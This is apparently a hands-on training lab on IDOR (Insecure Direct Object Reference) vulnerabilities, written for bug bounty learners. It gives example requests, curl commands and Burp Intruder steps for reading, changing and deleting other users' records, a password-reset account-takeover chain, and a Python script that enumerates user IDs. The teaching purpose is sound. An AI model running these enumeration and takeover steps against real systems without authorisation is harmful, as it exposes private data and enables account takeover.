๐ŸŽฏ Lab Objectives

  • Understand what IDOR is and why it happens
  • Find IDOR vulnerabilities in URLs, request bodies, and APIs
  • Exploit IDOR to access other users' private data
  • Automate IDOR testing with Burp Intruder
๐Ÿ‘ถ
IDOR (Insecure Direct Object Reference) happens when an app lets you access objects (files, records, accounts) just by knowing their ID โ€” without checking if you actually have permission. It's the #1 vulnerability in bug bounty programs and consistently in the OWASP Top 10.

Step 1 โ€” What is IDOR?

# Imagine a banking app. After login, you see your account:
GET /api/account/1001

# What happens if you change 1001 to 1002?
GET /api/account/1002  โ†’ you see someone else's bank account!

# That's IDOR. The server uses the ID directly as a reference
# to the database object, without verifying the current user
# has permission to access that specific record.

# Where IDOR shows up:
URLs/query params:  /user/1001/profile  โ†’  /user/1002/profile
POST body:         {"user_id": 1001}   โ†’  {"user_id": 1002}
Headers:           X-User-Id: 1001     โ†’  X-User-Id: 1002
Cookies:           user=1001           โ†’  user=1002
API endpoints:     GET /api/v1/orders/5678

Step 2 โ€” Finding IDOR in URLs

# Create TWO accounts on the target app (Account A and Account B)
# Log in as Account A and find any URL with an ID

# Example URLs to test:
https://target.com/profile?id=1001
https://target.com/download?file_id=55
https://target.com/invoice/INV-2024-001
https://target.com/messages/thread/789

# Step 1: Note the ID from Account A's session
https://target.com/profile?id=1001  โ† Account A's ID

# Step 2: Log in as Account B, find its ID
Account B's profile URL โ†’ id=1002

# Step 3: While logged in as Account B, access Account A's ID
https://target.com/profile?id=1001

# If you see Account A's data โ†’ IDOR confirmed!

# In Burp: Proxy โ†’ History โ†’ find the request โ†’ Send to Repeater
# Modify the ID value โ†’ Send โ†’ check if you get someone else's data

Step 3 โ€” IDOR in POST Request Bodies

# Sometimes the object ID is in the POST body, not the URL

# Intercept in Burp โ€” look for patterns like:
POST /api/update-address
{"user_id": 1001, "address": "123 Main St"}

POST /api/change-email
{"account": 1001, "email": "new@email.com"}

POST /api/delete-document
{"doc_id": 555, "confirm": true}

# Modify the ID to target other users
{"user_id": 1002, "address": "ATTACKER"}  โ†’ changed another user's address!

# In Burp Repeater: right-click on request โ†’ Send to Repeater
# Change the user_id value and Send

Step 4 โ€” IDOR in Headers

# Some apps pass user identity in custom headers

# Watch for these in Burp Proxy โ†’ History:
X-User-Id: 1001
X-Account: 1001
X-Customer-ID: 1001
User-Id: 1001

# Test by changing the header value:
curl -H "X-User-Id: 1002" https://target.com/api/account/data

# Even if the URL doesn't contain the ID, these headers
# might be used by the server to look up user data

Step 5 โ€” IDOR in REST APIs

# REST APIs are full of IDOR โ€” every endpoint with an ID is a target

# Enumerate common API patterns:
GET  /api/users/1001          โ†’ user profile
GET  /api/users/1001/orders   โ†’ user's orders
GET  /api/orders/5678         โ†’ specific order
PUT  /api/orders/5678         โ†’ update order
DELETE /api/orders/5678       โ†’ delete order
GET  /api/messages/1001       โ†’ private messages

# Test each with an ID belonging to another user:
curl -H "Authorization: Bearer YOUR_JWT_TOKEN" \
  https://api.target.com/v1/users/1002/orders

# HTTP verbs matter! GET might be protected but PUT/DELETE might not:
curl -X DELETE -H "Authorization: Bearer YOUR_TOKEN" \
  https://api.target.com/v1/orders/OTHER_USER_ORDER_ID

Step 6 โ€” Chained IDOR (ID โ†’ Sensitive Action)

# The most impactful IDORs combine steps:
# Step 1: IDOR to read a victim's email address
# Step 2: Use password reset with their email โ†’ account takeover

# Example chain:
1. GET /api/users/1002/profile โ†’ returns {"email": "victim@email.com"}
2. POST /api/password-reset โ†’ {"email": "victim@email.com"}
3. Reset link goes to victim's email... unless the reset token is also IDOR!
4. GET /api/reset/token?user_id=1002 โ†’ returns the reset token directly
5. Account takeover complete.

# Also look for IDORs in file downloads:
GET /api/reports/download?report_id=99  โ†’ admin reports
GET /documents/invoice_1001.pdf         โ†’ someone's invoice

Step 7 โ€” Mass IDOR Testing with Burp Intruder

# Automate testing many IDs with Burp Intruder

# Step 1: Capture the request in Burp Proxy
# Step 2: Right-click โ†’ Send to Intruder
# Step 3: Positions tab โ†’ clear all โ†’ highlight the ID value โ†’ Add ยง
GET /api/user/ยง1001ยง/profile

# Step 4: Payloads tab โ†’ Payload type: Numbers
# From: 1000  To: 1100  Step: 1

# Step 5: Start Attack โ†’ sort by Response Length
# Requests returning MORE data than usual = another user's profile!

# With Burp Pro: scanner detects IDOR automatically
# Free: use the manual Intruder method above

# Python script for IDOR fuzzing:
import requests
session = requests.Session()
session.headers['Authorization'] = 'Bearer YOUR_TOKEN'
for user_id in range(1000, 1100):
    r = session.get(f'https://target.com/api/users/{user_id}/profile')
    if r.status_code == 200:
        print(f"[HIT] ID {user_id}: {r.text[:100]}")
โœ…
Lab Complete! IDOR is the highest-paying vulnerability class in bug bounties. Companies like Facebook, Twitter, and Uber have paid $10,000โ€“$50,000+ for IDOR reports. Practice on PortSwigger Web Academy's Access Control labs.
Related: Web Recon โ†’ โ† All Labs
// guided terminal

Try It Live

Type the commands from the steps above. The terminal simulates the expected output for this lab.

KaliRange ~ Terminal type help for commands